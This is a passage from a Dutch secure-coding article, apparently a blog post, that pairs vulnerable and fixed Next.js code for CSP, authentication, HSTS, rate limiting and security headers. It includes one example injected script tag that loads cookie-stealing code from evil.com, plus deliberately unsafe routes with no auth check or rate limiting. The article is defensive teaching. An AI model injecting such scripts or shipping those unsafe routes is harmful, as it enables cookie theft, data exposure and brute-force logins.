api-beveiliging: 5 Beveiligingsfouten die AI-Code Maakt i...

// Zonder CSP - kwetsbaar
// Een aanvaller kan dit injecteren:
<script src="https://evil.com/steal-cookies.js"></script>

// Met CSP-header - geblokkeerd
// next.config.js
const securityHeaders = [
  {
    key: 'Content-Security-Policy',
    value: "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';"
  }
]

// Onveilig - geen authenticatie check
export async function GET(req: Request, { params }: { params: { id: string } }) {
  const user = await db.users.findUnique({ where: { id: params.id } });
  return Response.json(user);
}

// Veilig - met authenticatie en autorisatie
export async function GET(req: Request, { params }: { params: { id: string } }) {
  const session = await getServerSession(authOptions);
  if (!session) {
    return Response.json({ error: 'Niet ingelogd' }, { status: 401 });
  }
  if (session.user.id !== params.id && session.user.role !== 'admin') {
    return Response.json({ error: 'Geen toegang' }, { status: 403 });
  }
  const user = await db.users.findUnique({ where: { id: params.id } });
  return Response.json(user);
}

// Voeg HSTS-header toe om HTTPS af te dwingen
// next.config.js of vercel.json
{
  "headers": [
    {
      "source": "/(.*)",
      "headers": [
        {
          "key": "Strict-Transport-Security",
          "value": "max-age=63072000; includeSubDomains; preload"
        }
      ]
    }
  ]
}

Tip: Hosting-platforms zoals Vercel en Netlify bieden gratis SSL-certificaten. Zorg dat je altijd de HTTPS-redirect activeert in je project-instellingen.

4. Geen rate limiting

Rate limiting beperkt het aantal verzoeken dat een gebruiker in een bepaalde periode kan doen. Zonder rate limiting kan een aanvaller je server overbelasten of duizenden login-pogingen doen.

Wat gaat er mis?

Een aanvaller schrijft een simpel script dat elke seconde een login-poging doet met een ander wachtwoord. Zonder rate limiting kan dit oneindig doorgaan totdat het juiste wachtwoord is gevonden. Dit heet een brute-force aanval.

Praktisch voorbeeld

// Zonder rate limiting - kwetsbaar voor brute-force
export async function POST(req: Request) {
  const { email, password } = await req.json();
  const user = await authenticate(email, password);
  return Response.json({ success: !!user });
}

// Met rate limiting via Upstash
import { Ratelimit } from '@upstash/ratelimit';
import { Redis } from '@upstash/redis';

const ratelimit = new Ratelimit({
  redis: Redis.fromEnv(),
  limiter: Ratelimit.slidingWindow(5, '60 s'), // 5 pogingen per minuut
});

export async function POST(req: Request) {
  const ip = req.headers.get('x-forwarded-for') ?? '127.0.0.1';
  const { success } = await ratelimit.limit(ip);
  if (!success) {
    return Response.json(
      { error: 'Te veel pogingen. Probeer het later opnieuw.' },
      { status: 429 }
    );
  }
  const { email, password } = await req.json();
  const user = await authenticate(email, password);
  return Response.json({ success: !!user });
}

5. Ontbrekende security headers

Naast CSP zijn er nog andere esssentiele security headers die AI-tools bijna nooit automatisch toevoegen. Elke ontbrekende header is een potentiele aanvalsvector.

De belangrijkste ontbrekende headers

• X-Frame-Options: DENY - Voorkomt dat je site in een iframe geladen wordt (clickjacking)
• X-Content-Type-Options: nosniff - Voorkomt dat browsers bestanden als een ander type interpreteren (MIME-sniffing)
• Referrer-Policy: strict-origin-when-cross-origin - Beperkt welke informatie wordt meegestuurd bij het klikken op links
• Permissions-Policy - Beperkt welke browser-API's je site mag gebruiken (camera, microfoon, locatie)

Praktisch voorbeeld

// Alle esssentiele security headers in next.config.js
/** @type {import('next').NextConfig} */
const nextConfig = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          { key: 'X-Frame-Options', value: 'DENY' },
          { key: 'X-Content-Type-Options', value: 'nosniff' },
          { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
          {
            key: 'Permissions-Policy',
            value: 'camera=(), microphone=(), geolocation=()',
          },
          {
            key: 'Strict-Transport-Security',
            value: 'max-age=63072000; includeSubDomains; preload',
          },
          {
            key: 'Content-Security-Policy',
            value: "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self';",
          },
        ],
      },
    ];
  },
};

module.exports = nextConfig;